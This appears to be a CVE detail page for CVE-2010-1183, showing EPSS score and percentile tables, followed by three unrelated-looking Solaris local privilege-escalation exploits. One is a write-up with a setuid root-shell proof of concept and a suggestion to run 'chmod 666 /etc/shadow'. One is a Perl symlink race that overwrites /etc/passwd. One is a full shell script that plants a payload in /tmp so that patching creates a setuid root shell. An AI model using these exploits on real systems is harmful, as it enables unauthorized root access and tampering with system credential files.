CVE-2010-1183 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.05%	–
2023-03-19	–	–	–	0.05%	–
2023-04-09	–	–	–	0.05%	–
2023-04-16	–	–	–	0.05%	–
2023-05-14	–	–	–	0.05%	–
2023-05-28	–	–	–	0.05%	–
2023-07-16	–	–	–	0.05%	–
2023-07-30	–	–	–	0.05%	–
2023-09-17	–	–	–	0.05%	–
2023-11-26	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.07%
2025-03-30	–	–	–	–	0.07%
2025-04-10	–	–	–	–	0.07%
2025-04-11	–	–	–	–	0.07%
2025-04-15	–	–	–	–	0.07%
2025-04-15	–	–	–	–	0.07,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	17%
2023-03-19	16%
2023-04-09	17%
2023-04-16	16%
2023-05-14	17%
2023-05-28	16%
2023-07-16	17%
2023-07-30	16%
2023-09-17	17%
2023-11-26	–
2024-06-02	–
2025-01-19	–
2025-03-18	19%
2025-03-30	18%
2025-04-10	19%
2025-04-11	18%
2025-04-15	22%
2025-04-15	22%

Solaris Recommended Patch Cluster 6/19 local root on x86 Larry W. Cashdollar 7/3/2013 @_larry0 If the system administrator is updating the system using update manager or smpatch (multi user mode) a local user could execute commands as root. This only affects x86 systems as this code resides under a case statement checking that the platform is intel based. Local root: Write to /tmp/diskette_rc.d/rcs9.sh before execution and you can execute commands as root. ./144751-01/SUNWos86r/install/postinstall 782 if [ -s /tmp/disketterc.d/rcs9.sh ] 783 then 784 /sbin/sh /tmp/disketterc.d/rcs9.sh "post" 785 fi Inject entries into driver_aliases, research config file? maybe we can load our own library/driver? 804 # Remove erroneous entry for Symbios Logic 53c875/95 (ncrs) 805 TMPFILE=/tmp/ncrstmp 806 sed -e '/^ncrs "pci1000,1000"$/d' ${BASEDIR}/etc/driveraliases >$TMPFIL E 807 cp $TMPFILE ${BASEDIR}/etc/driver_aliases ./141445-09/SUNWos86r/install/postinstall 656 if [ -s /tmp/disketterc.d/rcs9.sh ] 657 then 658 /sbin/sh /tmp/disketterc.d/rcs9.sh "post" 659 fi Well, it looks like you've got a few chances to abuse it: larry@slowaris:~/10x86Recommended/patches$ find . -name "*install" -type f -exec grep -l "/sbin/sh /tmp/diskette_rc.d/rcs9.sh" {} \; ./144501-19/SUNWos86r/install/postinstall ./141445-09/SUNWos86r/install/postinstall ./142059-01/SUNWos86r/install/postinstall ./147148-26/SUNWos86r/install/postinstall ./127128-11/SUNWos86r/install/postinstall ./148889-03/SUNWos86r/install/postinstall ./142910-17/SUNWos86r/install/postinstall ./144751-01/SUNWos86r/install/postinstall Psuedo PoC: Depending on how rcs9.sh is created, we can either write to it repeatedly or just create the file initially with our malicious entry. chmod 666 /etc/shadow would be easy. PoC: larry@slowaris:~$ cat setuid.c #include #include int main (void) { char *shell[2]; shell[0] = "sh"; shell[1] = NULL; setregid (0, 0); setreuid (0, 0); execve ("/bin/sh", shell, NULL); return(0); } gcc -o /tmp/r00t setuid.c larry@slowaris:~$ cat /tmp/diskette_rc.d/rcs9.sh chown root:root /tmp/r00t chmod +s /tmp/r00t After patches have been applied: larry@slowaris:~$ /tmp/r00t # id uid=0(root) gid=0(root)

source: https://www.securityfocus.com/bid/54919/info Solaris 10 Patch 137097-01 is prone to a local privilege-escalation vulnerability. Local attackers can exploit this issue to gain elevated privileges on affected computers. #!/usr/bin/perl $clobber = "/etc/passwd"; while(1) { open ps,"ps -ef | grep -v grep |grep -v PID |"; while(<ps>) { @args = split " ", $_; if (/inetd-upgrade/) { print "Symlinking iconf_entries.$args[1] to $clobber\n"; symlink($clobber,"/tmp/iconf_entries.$args[1]"); exit(1); } } }

source: https://www.securityfocus.com/bid/38928/info Sun Connection Update Manager for Solaris creates temporary files in an insecure manner. An attacker with local access could potentially exploit these issues to perform symbolic-link attacks, overwriting arbitrary files in the context of the affected application. Successfully mounting a symlink attack may allow the attacker to overwrite or corrupt sensitive files, which may result in a denial-of-service or privilege escalation. Other attacks may also be possible. These issues affect unknown versions of the application. In addition, these issues may affect certain Solaris patch clusters or individual patch releases. #!/bin/sh #Larry W. Cashdollar, local root for Solaris x86 during patching #10/4/2013 Tested on Cluster 9/30/2013 # larry@s0l4r1s:~$ ./disk_exp.sh # [+] Creating evil shell # [+] Hope you've got gcc on here, compiling... # [+] Waiting for root shell # [+] Tada! # # id # uid=0(root) gid=0(root) echo "[+] Creating evil shell" cat << EOF > r00t.c #include <stdio.h> #include <unistd.h> int main (void) { char *shell[2]; shell[0] = "sh"; shell[1] = NULL; setreuid (0, 0); setregid (0, 0); execve ("/bin/sh", shell, NULL); return(0); } EOF echo "[+] Hope you've got gcc on here, compiling..." gcc r00t.c -o /tmp/r00t mkdir -p /tmp/diskette_rc.d/ echo "#!/bin/sh" > /tmp/diskette_rc.d/rcs9.sh echo "chown root:root /tmp/r00t" >> /tmp/diskette_rc.d/rcs9.sh echo "chmod +s /tmp/r00t" >> /tmp/diskette_rc.d/rcs9.sh chmod +x /tmp/diskette_rc.d/rcs9.sh echo "[+] Waiting for root shell" until [ -u /tmp/r00t ]; do sleep 1; done; echo "[+] Tada!";/tmp/r00t